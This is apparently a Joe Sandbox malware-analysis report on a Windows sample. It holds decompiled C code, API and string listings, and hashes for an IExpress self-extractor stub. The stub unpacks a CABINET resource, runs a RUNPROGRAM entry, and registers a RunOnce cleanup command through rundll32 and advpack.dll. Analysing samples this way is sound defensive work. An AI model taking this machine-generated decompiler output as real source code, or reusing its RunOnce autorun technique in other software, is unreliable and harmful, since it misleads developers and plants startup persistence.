0x00f321f6
0x00f321fd
0x00f321ff
0x00f321ff
0x00f32204
0x00f32213
0x00f32218
0x00f3221d
0x00f3221d
0x00f32220
0x00f32220
0x00f32222
0x00f32223
0x00f32229
0x00f3223d
0x00f32249
0x00f32250
0x00000000
0x00f32250
0x00f321d2
0x00f321d9
0x00000000
0x00f321d9
0x00f3213a
0x00f32141
0x00f32144
0x00f3214c
0x00000000
0x00000000
0x00f32163
0x00f32172
0x00f32172
0x00000000
0x00f32163
0x00f320ea
0x00f320f0
0x00000000

APIs

memset.MSVCRT ref: 00F32050
memset.MSVCRT ref: 00F3205F
RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?,?,?,?,?,00000000,00000000), ref: 00F3208C

Part of subcall function 00F3171E: _vsnprintf.MSVCRT ref: 00F31750

RegQueryValueExA.KERNELBASE(?,wextract_cleanup1,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F320C9
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F320EA
GetSystemDirectoryA.KERNEL32 ref: 00F32103
LoadLibraryA.KERNELBASE(?,advpack.dll,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F32122
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 00F32134
FreeLibrary.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F32144
GetSystemDirectoryA.KERNEL32 ref: 00F3215B
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F3218C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F321C1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F321E4
RegSetValueExA.KERNELBASE(?,wextract_cleanup1,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 00F3223D
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F32249
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F32250

Strings

wextract_cleanup%d, xrefs: 00F3209E
C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F321A8, 00F32204
advpack.dll, xrefs: 00F32109
%s /D:%s, xrefs: 00F321FF, 00F32210
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00F32082
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00F321F6
wextract_cleanup1, xrefs: 00F320A5, 00F320BE, 00F320F0, 00F32232
DelNodeRunDLL32, xrefs: 00F3212E

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup1
API String ID: 178549006-1563176777
Opcode ID: 9c5ff04eefb4cc84beae249780d35f78c398a79e5b36d45e530a99b367f29860
Instruction ID: 92ad2031a752d9fcf9a997c2da060b5ec59ea0013302c88a254849d100ead1d1
Opcode Fuzzy Hash: 9c5ff04eefb4cc84beae249780d35f78c398a79e5b36d45e530a99b367f29860
Instruction Fuzzy Hash: A55139B2A00218ABDB64AF20DC49FFB773DEF40770F0441A4F985E3151DAB5DE49AA60

Uniqueness

Uniqueness Score: -1.00%

Function 00F355A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00F355A0(void* __eflags) {
				signed int _v8;
				char _v265;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				int _t32;
				int _t33;
				int _t35;
				signed int _t36;
				signed int _t38;
				int _t40;
				int _t44;
				long _t48;
				int _t49;
				int _t50;
				signed int _t53;
				int _t54;
				int _t59;
				char _t60;
				int _t65;
				char _t66;
				int _t67;
				int _t68;
				int _t69;
				int _t70;
				int _t71;
				struct _SECURITY_ATTRIBUTES* _t72;
				int _t73;
				CHAR* _t82;
				CHAR* _t88;
				void* _t103;
				signed int _t110;

				_t28 =  *0xf38004; // 0xc69e30f7
				_v8 = _t28 ^ _t110;
				_t2 = E00F3468F("RUNPROGRAM", 0, 0) + 1; // 0x1
				_t109 = LocalAlloc(0x40, _t2);
				if(_t109 != 0) {
					_t82 = "RUNPROGRAM";
					_t32 = E00F3468F(_t82, _t109, 1);
					__eflags = _t32;
					if(_t32 != 0) {
						_t33 = lstrcmpA(_t109, "<None>");
						__eflags = _t33;
						if(_t33 == 0) {
							 *0xf39a30 = 1;
						}
						LocalFree(_t109);
						_t35 =  *0xf38b3e; // 0x0
						__eflags = _t35;
						if(_t35 == 0) {
							__eflags =  *0xf38a24; // 0x0
							if(__eflags != 0) {
								L46:
								_t101 = 0x7d2;
								_t36 = E00F36517(_t82, 0x7d2, 0, E00F33210, 0, 0);
								asm("sbb eax, eax");
								_t38 =  ~( ~_t36);
							} else {
								__eflags =  *0xf39a30; // 0x0
								if(__eflags != 0) {
									goto L46;
								} else {
									_t109 = 0xf391e4;
									_t40 = GetTempPathA(0x104, 0xf391e4);
									__eflags = _t40;
									if(_t40 == 0) {
										L19:
										_push(_t82);
										E00F31781( &_v268, 0x104, _t82, "A:\\");
										__eflags = _v268 - 0x5a;
										if(_v268 <= 0x5a) {
											do {
												_t109 = GetDriveTypeA( &_v268);
												__eflags = _t109 - 6;
												if(_t109 == 6) {
													L22:
													_t48 = GetFileAttributesA( &_v268);
													__eflags = _t48 - 0xffffffff;
													if(_t48 != 0xffffffff) {
														goto L30;
													} else {
														goto L23;
													}
												} else {
													__eflags = _t109 - 3;
													if(_t109 != 3) {
														L23:
														__eflags = _t109 - 2;
														if(_t109 != 2) {
															L28:
															_t66 = _v268;
															goto L29;
														} else {
															_t66 = _v268;
															__eflags = _t66 - 0x41;
															if(_t66 == 0x41) {
																L29:
																_t60 = _t66 + 1;
																_v268 = _t60;
																goto L42;
															} else {
																__eflags = _t66 - 0x42;
																if(_t66 == 0x42) {
																	goto L29;
																} else {
																	_t68 = E00F36952( &_v268);
																	__eflags = _t68;
																	if(_t68 == 0) {
																		goto L28;
																	} else {
																		__eflags = _t68 - 0x19000;
																		if(_t68 >= 0x19000) {
																			L30:
																			_push(0);
																			_t103 = 3;
																			_t49 = E00F3597D( &_v268, _t103, 1);
																			__eflags = _t49;
																			if(_t49 != 0) {
																				L33:
																				_t50 = E00F32630(0,  &_v268, 1);
																				__eflags = _t50;
																				if(_t50 != 0) {
																					GetWindowsDirectoryA( &_v268, 0x104);
																				}
																				_t88 =  &_v268;
																				E00F3658A(_t88, 0x104, "msdownld.tmp");
																				_t53 = GetFileAttributesA( &_v268);
																				__eflags = _t53 - 0xffffffff;
																				if(_t53 != 0xffffffff) {
																					_t54 = _t53 & 0x00000010;
																					__eflags = _t54;
																				} else {
																					_t54 = CreateDirectoryA( &_v268, 0);
																				}
																				__eflags = _t54;
																				if(_t54 != 0) {
																					SetFileAttributesA( &_v268, 2);
																					_push(_t88);
																					_t109 = 0xf391e4;
																					E00F31781(0xf391e4, 0x104, _t88,  &_v268);
																					_t101 = 1;
																					_t59 = E00F35467(0xf391e4, 1, 0);
																					__eflags = _t59;
																					if(_t59 != 0) {
																						goto L45;
																					} else {
																						_t60 = _v268;
																						goto L42;
																					}
																				} else {
																					_t60 = _v268 + 1;
																					_v265 = 0;
																					_v268 = _t60;
																					goto L42;
																				}
																			} else {
																				_t65 = E00F32630(0,  &_v268, 1);
																				__eflags = _t65;
																				if(_t65 != 0) {
																					goto L28;
																				} else {
																					_t67 = E00F3597D( &_v268, 1, 1, 0);
																					__eflags = _t67;
																					if(_t67 == 0) {
																						goto L28;
																					} else {
																						goto L33;
																					}
																				}
																			}
																		} else {
																			goto L28;
																		}
																	}
																}
															}
														}
													} else {
														goto L22;
													}
												}
												goto L47;
												L42:
												__eflags = _t60 - 0x5a;
											} while (_t60 <= 0x5a);
										}
										goto L43;
									} else {
										_t101 = 1;
										_t69 = E00F35467(0xf391e4, 1, 3); // executed
										__eflags = _t69;
										if(_t69 != 0) {
											goto L45;
										} else {
											_t82 = 0xf391e4;
											_t70 = E00F32630(0, 0xf391e4, 1);
											__eflags = _t70;
											if(_t70 != 0) {
												goto L19;
											} else {
												_t101 = 1;
												_t82 = 0xf391e4;
												_t71 = E00F35467(0xf391e4, 1, 1);
												__eflags = _t71;
												if(_t71 != 0) {
													goto L45;
												} else {
													do {
														goto L19;
														L43:
														GetWindowsDirectoryA( &_v268, 0x104);
														_push(4);
														_t101 = 3;
														_t82 =  &_v268;
														_t44 = E00F3597D(_t82, _t101, 1);
														__eflags = _t44;
													} while (_t44 != 0);
													goto L2;
												}
											}
										}
									}
								}
							}
						} else {
							__eflags = _t35 - 0x5c;
							if(_t35 != 0x5c) {
								L10:
								_t72 = 1;
							} else {
								__eflags =  *0xf38b3f - _t35; // 0x0
								_t72 = 0;
								if(__eflags != 0) {
									goto L10;
								}
							}
							_t101 = 0;
							_t73 = E00F35467(0xf38b3e, 0, _t72);
							__eflags = _t73;
							if(_t73 != 0) {
								L45:
								_t38 = 1;
							} else {
								_t101 = 0x4be;
								E00F344B9(0, 0x4be, 0, 0, 0x10, 0);
								goto L2;
							}
						}
					} else {
						_t101 = 0x4b1;
						E00F344B9(0, 0x4b1, 0, 0, 0x10, 0);
						LocalFree(_t109);
						 *0xf39124 = 0x80070714;
						goto L2;
					}
				} else {
					_t101 = 0x4b5;
					E00F344B9(0, 0x4b5, 0, 0, 0x10, 0);
					 *0xf39124 = E00F36285();
					L2:
					_t38 = 0;
				}
				L47:
				return E00F36CE0(_t38, 0, _v8 ^ _t110, _t101, 1, _t109);
			}

0x00f355ab
0x00f355b2
0x00f355c9
0x00f355d5
0x00f355d9
0x00f35600
0x00f35605
0x00f3560a
0x00f3560c
0x00f35638
0x00f35641
0x00f35643
0x00f35645
0x00f35645
0x00f3564c
0x00f35652
0x00f35657
0x00f35659
0x00f35696
0x00f3569c
0x00f3589f
0x00f358a7
0x00f358ac
0x00f358b3
0x00f358b5
0x00f356a2
0x00f356a2
0x00f356a8
0x00000000
0x00f356ae
0x00f356ae
0x00f356b9
0x00f356bf
0x00f356c1
0x00f356f3
0x00f356f3
0x00f35705
0x00f3570a
0x00f35711
0x00f35717
0x00f35724
0x00f35726
0x00f35729
0x00f35730
0x00f35737
0x00f3573d
0x00f35740
0x00000000
0x00000000
0x00000000
0x00000000
0x00f3572b
0x00f3572b
0x00f3572e
0x00f35742
0x00f35742
0x00f35745
0x00f3576b
0x00f3576b
0x00000000
0x00f35747
0x00f35747
0x00f3574d
0x00f3574f
0x00f35771
0x00f35771
0x00f35773
0x00000000
0x00f35751
0x00f35751
0x00f35753
0x00000000
0x00f35755
0x00f3575b
0x00f35760
0x00f35762
0x00000000
0x00f35764
0x00f35764
0x00f35769
0x00f3577e
0x00f3577e
0x00f35781
0x00f35788
0x00f3578d
0x00f3578f
0x00f357b2
0x00f357b8
0x00f357bd
0x00f357bf
0x00f357cd
0x00f357cd
0x00f357dd
0x00f357e3
0x00f357ef
0x00f357f5
0x00f357f8
0x00f3580a
0x00f3580a
0x00f357fa
0x00f35802
0x00f35802
0x00f3580d
0x00f3580f
0x00f35830
0x00f35836
0x00f3583d
0x00f3584b
0x00f35851
0x00f35855
0x00f3585a
0x00f3585c
0x00000000
0x00f3585e
0x00f3585e
0x00000000
0x00f3585e
0x00f35811
0x00f35817
0x00f35819
0x00f3581f
0x00000000
0x00f3581f
0x00f35791
0x00f35797
0x00f3579c
0x00f3579e
0x00000000
0x00f357a0
0x00f357a9
0x00f357ae
0x00f357b0
0x00000000
0x00000000
0x00000000
0x00000000
0x00f357b0
0x00f3579e
0x00000000
0x00000000
0x00000000
0x00f35769
0x00f35762
0x00f35753
0x00f3574f
0x00000000
0x00000000
0x00000000
0x00f3572e
0x00000000
0x00f35864
0x00f35864
0x00f35864
0x00f35717
0x00000000
0x00f356c3
0x00f356c5
0x00f356c9
0x00f356ce
0x00f356d0
0x00000000
0x00f356d6
0x00f356d6
0x00f356d8
0x00f356dd
0x00f356df
0x00000000
0x00f356e1
0x00f356e2
0x00f356e4
0x00f356e6
0x00f356eb
0x00f356ed
0x00000000
0x00f356f3
0x00f356f3
0x00000000
0x00f3586c
0x00f35878
0x00f3587e
0x00f35882
0x00f35883
0x00f35889
0x00f3588e
0x00f3588e
0x00000000
0x00f35896
0x00f356ed
0x00f356df
0x00f356d0
0x00f356c1
0x00f356a8
0x00f3565b
0x00f3565b
0x00f3565d
0x00f35669
0x00f35669
0x00f3565f
0x00f3565f
0x00f35665
0x00f35667
0x00000000
0x00000000
0x00f35667
0x00f3566c
0x00f35673
0x00f35678
0x00f3567a
0x00f3589b
0x00f3589b
0x00f35680
0x00f35685
0x00f3568c
0x00000000
0x00f3568c
0x00f3567a
0x00f3560e
0x00f35613
0x00f3561a
0x00f35620
0x00f35626
0x00000000
0x00f35626
0x00f355db
0x00f355e0
0x00f355e7
0x00f355f1
0x00f355f6
0x00f355f6
0x00f355f6
0x00f358b7
0x00f358c7

APIs

Part of subcall function 00F3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346A0
Part of subcall function 00F3468F: SizeofResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346A9
Part of subcall function 00F3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346C3
Part of subcall function 00F3468F: LoadResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346CC
Part of subcall function 00F3468F: LockResource.KERNEL32(00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346D3
Part of subcall function 00F3468F: memcpy_s.MSVCRT ref: 00F346E5
Part of subcall function 00F3468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 00F355CF
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 00F35638
LocalFree.KERNEL32(00000000), ref: 00F3564C
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00F35620

Part of subcall function 00F344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F34518
Part of subcall function 00F344B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 00F34554

Part of subcall function 00F36285: GetLastError.KERNEL32(00F35BBC), ref: 00F36285

GetTempPathA.KERNEL32(00000104,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\), ref: 00F356B9
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 00F3571E
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 00F35737
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 00F357CD
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 00F357EF
CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 00F35802

Part of subcall function 00F32630: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 00F32654

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 00F35830

Part of subcall function 00F36517: FindResourceA.KERNEL32(00F30000,000007D6,00000005), ref: 00F3652A
Part of subcall function 00F36517: LoadResource.KERNEL32(00F30000,00000000,?,?,00F32EE8,00000000,00F319E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00F36538
Part of subcall function 00F36517: DialogBoxIndirectParamA.USER32(00F30000,00000000,00000547,00F319E0,00000000), ref: 00F36557
Part of subcall function 00F36517: FreeResource.KERNEL32(00000000,?,?,00F32EE8,00000000,00F319E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00F36560

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 00F35878

Part of subcall function 00F3597D: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 00F359A8
Part of subcall function 00F3597D: SetCurrentDirectoryA.KERNELBASE(?), ref: 00F359AF

Strings

msdownld.tmp, xrefs: 00F357D3
C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F356AE, 00F356B3, 00F3583D
Z, xrefs: 00F3570A
RUNPROGRAM, xrefs: 00F355BD, 00F35600
<None>, xrefs: 00F35632
A:\, xrefs: 00F356F4

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-3110009808
Opcode ID: 0ddaf08c6e905e49657cb5b4d4c349e675e38b8bf9a57584587a90674aa2f20a
Instruction ID: b02e7d50269223b6d6508f368edd06474ef59bfbbe414993ff6cff99cdf6e955
Opcode Fuzzy Hash: 0ddaf08c6e905e49657cb5b4d4c349e675e38b8bf9a57584587a90674aa2f20a
Instruction Fuzzy Hash: CD811DB1E04A089ADB24AB358C85BFE765E9FE0B70F040065F9C6D2191DFB8CDC1BA51

Uniqueness

Uniqueness Score: -1.00%

Function 00F3597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00F3597D(CHAR* __ecx, signed char __edx, void* __edi, intOrPtr _a4) {
				signed int _v8;
				char _v16;
				char _v276;
				char _v788;
				long _v792;
				long _v796;
				long _v800;
				signed int _v804;
				long _v808;
				int _v812;
				long _v816;
				long _v820;
				void* __ebx;
				void* __esi;
				signed int _t46;
				int _t50;
				signed int _t55;
				void* _t66;
				int _t69;
				signed int _t73;
				signed short _t78;
				signed int _t87;
				signed int _t101;
				int _t102;
				unsigned int _t103;
				unsigned int _t105;
				signed int _t111;
				long _t112;
				signed int _t116;
				CHAR* _t118;
				signed int _t119;
				signed int _t120;

				_t114 = __edi;
				_t46 =  *0xf38004; // 0xc69e30f7
				_v8 = _t46 ^ _t120;
				_v804 = __edx;
				_t118 = __ecx;
				GetCurrentDirectoryA(0x104,  &_v276);
				_t50 = SetCurrentDirectoryA(_t118); // executed
				if(_t50 != 0) {
					_push(__edi);
					_v796 = 0;
					_v792 = 0;
					_v800 = 0;
					_v808 = 0;
					_t55 = GetDiskFreeSpaceA(0,  &_v796,  &_v792,  &_v800,  &_v808); // executed
					__eflags = _t55;
					if(_t55 == 0) {
						L29:
						memset( &_v788, 0, 0x200);
						 *0xf39124 = E00F36285();
						FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
						_t110 = 0x4b0;
						L30:
						__eflags = 0;
						E00F344B9(0, _t110, _t118,  &_v788, 0x10, 0);
						SetCurrentDirectoryA( &_v276);
						L31:
						_t66 = 0;
						__eflags = 0;
						L32:
						_pop(_t114);
						goto L33;
					}
					_t69 = _v792 * _v796;
					_v812 = _t69;
					_t116 = MulDiv(_t69, _v800, 0x400);
					__eflags = _t116;
					if(_t116 == 0) {
						goto L29;
					}
					_t73 = GetVolumeInformationA(0, 0, 0, 0,  &_v820,  &_v816, 0, 0); // executed
					__eflags = _t73;
					if(_t73 != 0) {
						SetCurrentDirectoryA( &_v276); // executed
						_t101 =  &_v16;
						_t111 = 6;
						_t119 = _t118 - _t101;
						__eflags = _t119;
						while(1) {
							_t22 = _t111 - 4; // 0x2
							__eflags = _t22;
							if(_t22 == 0) {
								break;
							}
							_t87 =  *((intOrPtr*)(_t119 + _t101));
							__eflags = _t87;
							if(_t87 == 0) {
								break;
							}
							 *_t101 = _t87;
							_t101 = _t101 + 1;
							_t111 = _t111 - 1;
							__eflags = _t111;
							if(_t111 != 0) {
								continue;
							}
							break;
						}
						__eflags = _t111;
						if(_t111 == 0) {
							_t101 = _t101 - 1;
							__eflags = _t101;
						}
						 *_t101 = 0;
						_t112 = 0x200;
						_t102 = _v812;
						_t78 = 0;
						_t118 = 8;
						while(1) {
							__eflags = _t102 - _t112;
							if(_t102 == _t112) {
								break;
							}
							_t112 = _t112 + _t112;
							_t78 = _t78 + 1;
							__eflags = _t78 - _t118;
							if(_t78 < _t118) {
								continue;
							}
							break;
						}
						__eflags = _t78 - _t118;
						if(_t78 != _t118) {
							__eflags =  *0xf39a34 & 0x00000008;
							if(( *0xf39a34 & 0x00000008) == 0) {
								L20:
								_t103 =  *0xf39a38; // 0x0
								_t110 =  *((intOrPtr*)(0xf389e0 + (_t78 & 0x0000ffff) * 4));
								L21:
								__eflags = (_v804 & 0x00000003) - 3;
								if((_v804 & 0x00000003) != 3) {
									__eflags = _v804 & 0x00000001;
									if((_v804 & 0x00000001) == 0) {
										__eflags = _t103 - _t116;
									} else {
										__eflags = _t110 - _t116;
									}
								} else {
									__eflags = _t103 + _t110 - _t116;
								}
								if(__eflags <= 0) {
									 *0xf39124 = 0;
									_t66 = 1;
								} else {
									_t66 = E00F3268B(_a4, _t110, _t103,  &_v16);
								}
								goto L32;
							}
							__eflags = _v816 & 0x00008000;
							if((_v816 & 0x00008000) == 0) {
								goto L20;
							}
							_t105 =  *0xf39a38; // 0x0
							_t110 =  *((intOrPtr*)(0xf389e0 + (_t78 & 0x0000ffff) * 4)) +  *((intOrPtr*)(0xf389e0 + (_t78 & 0x0000ffff) * 4));
							_t103 = (_t105 >> 2) +  *0xf39a38;
							goto L21;
						}
						_t110 = 0x4c5;
						E00F344B9(0, 0x4c5, 0, 0, 0x10, 0);
						goto L31;
					}
					memset( &_v788, 0, 0x200);
					 *0xf39124 = E00F36285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
					_t110 = 0x4f9;
					goto L30;
				} else {
					_t110 = 0x4bc;
					E00F344B9(0, 0x4bc, 0, 0, 0x10, 0);
					 *0xf39124 = E00F36285();
					_t66 = 0;
					L33:
					return E00F36CE0(_t66, 0, _v8 ^ _t120, _t110, _t114, _t118);
				}
			}

0x00f3597d
0x00f35988
0x00f3598f
0x00f3599a
0x00f359a6
0x00f359a8
0x00f359af
0x00f359b9
0x00f359dd
0x00f359e4
0x00f359f1
0x00f359fe
0x00f35a0b
0x00f35a13
0x00f35a19
0x00f35a1b
0x00f35ba1
0x00f35baf
0x00f35bbd
0x00f35bd8
0x00f35bde
0x00f35be3
0x00f35bec
0x00f35bf0
0x00f35bfc
0x00f35c02
0x00f35c02
0x00f35c02
0x00f35c04
0x00f35c04
0x00000000
0x00f35c04
0x00f35a27
0x00f35a3a
0x00f35a46
0x00f35a48
0x00f35a4a
0x00000000
0x00000000
0x00f35a64
0x00f35a6a
0x00f35a6c
0x00f35abc
0x00f35ac2
0x00f35ac9
0x00f35aca
0x00f35aca
0x00f35acc
0x00f35acc
0x00f35acf
0x00f35ad1
0x00000000
0x00000000
0x00f35ad3
0x00f35ad6
0x00f35ad8
0x00000000
0x00000000
0x00f35ada
0x00f35adc
0x00f35add
0x00f35add
0x00f35ae0
0x00000000
0x00000000
0x00000000
0x00f35ae0
0x00f35ae2
0x00f35ae4
0x00f35ae6
0x00f35ae6
0x00f35ae6
0x00f35ae9
0x00f35aeb
0x00f35af0
0x00f35af6
0x00f35af8
0x00f35af9
0x00f35af9
0x00f35afb
0x00000000
0x00000000
0x00f35afd
0x00f35aff
0x00f35b00
0x00f35b03
0x00000000
0x00000000
0x00000000
0x00f35b03
0x00f35b05
0x00f35b08
0x00f35b20
0x00f35b27
0x00f35b52
0x00f35b52
0x00f35b5b
0x00f35b62
0x00f35b6b
0x00f35b6d
0x00f35b76
0x00f35b7d
0x00f35b83
0x00f35b7f
0x00f35b7f
0x00f35b7f
0x00f35b6f
0x00f35b72
0x00f35b72
0x00f35b85
0x00f35b98
0x00f35b9e
0x00f35b87
0x00f35b8f
0x00f35b8f
0x00000000
0x00f35b85
0x00f35b29
0x00f35b33
0x00000000
0x00000000
0x00f35b35
0x00f35b48
0x00f35b4a
0x00000000
0x00f35b4a
0x00f35b0f
0x00f35b16
0x00000000
0x00f35b16
0x00f35a7c
0x00f35a8a
0x00f35aa5
0x00f35aab
0x00000000
0x00f359bb
0x00f359c0
0x00f359c7
0x00f359d1
0x00f359d6
0x00f35c05
0x00f35c14
0x00f35c14

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 00F359A8
SetCurrentDirectoryA.KERNELBASE(?), ref: 00F359AF
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 00F35A13
MulDiv.KERNEL32(?,?,00000400), ref: 00F35A40
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00F35A64
memset.MSVCRT ref: 00F35A7C
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 00F35A98
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 00F35AA5
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 00F35BFC

Part of subcall function 00F344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F34518
Part of subcall function 00F344B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 00F34554

Part of subcall function 00F36285: GetLastError.KERNEL32(00F35BBC), ref: 00F36285

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID:
API String ID: 4237285672-0
Opcode ID: ff6960a8a25486e6dfc58c1b0eecd0c2e421b3e5c06162678890c7b453c93b10
Instruction ID: a917690c52adb9a8ff3ae3ff16b1931c4f5d6122b1b08d02629a6b384c8c456b
Opcode Fuzzy Hash: ff6960a8a25486e6dfc58c1b0eecd0c2e421b3e5c06162678890c7b453c93b10
Instruction Fuzzy Hash: CF71A1B190021CAFEB25DB60CC85FFBB7ADEB88764F0441A9F445D6240DA749E85AF60

Uniqueness

Uniqueness Score: -1.00%

Function 00F34FE0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00F34FE0(void* __edi, void* __eflags) {
				void* __ebx;
				void* _t8;
				struct HWND__* _t9;
				int _t10;
				void* _t12;
				struct HWND__* _t24;
				struct HWND__* _t27;
				intOrPtr _t29;
				void* _t33;
				int _t34;
				CHAR* _t36;
				int _t37;
				intOrPtr _t47;

				_t33 = __edi;
				_t36 = "CABINET";
				 *0xf39144 = E00F3468F(_t36, 0, 0);
				_t8 = LockResource(LoadResource(0, FindResourceA(0, _t36, 0xa)));
				 *0xf39140 = _t8;
				if(_t8 == 0) {
					return _t8;
				}
				_t9 =  *0xf38584; // 0x0
				if(_t9 != 0) {
					ShowWindow(GetDlgItem(_t9, 0x842), 0);
					ShowWindow(GetDlgItem( *0xf38584, 0x841), 5); // executed
				}
				_t10 = E00F34EFD(0, 0); // executed
				if(_t10 != 0) {
					__imp__#20(E00F34CA0, E00F34CC0, E00F34980, E00F34A50, E00F34AD0, E00F34B60, E00F34BC0, 1, 0xf39148, _t33);
					_t34 = _t10;
					if(_t34 == 0) {
						L8:
						_t29 =  *0xf39148; // 0x0
						_t24 =  *0xf38584; // 0x0
						E00F344B9(_t24, _t29 + 0x514, 0, 0, 0x10, 0);
						_t37 = 0;
						L9:
						goto L10;
					}
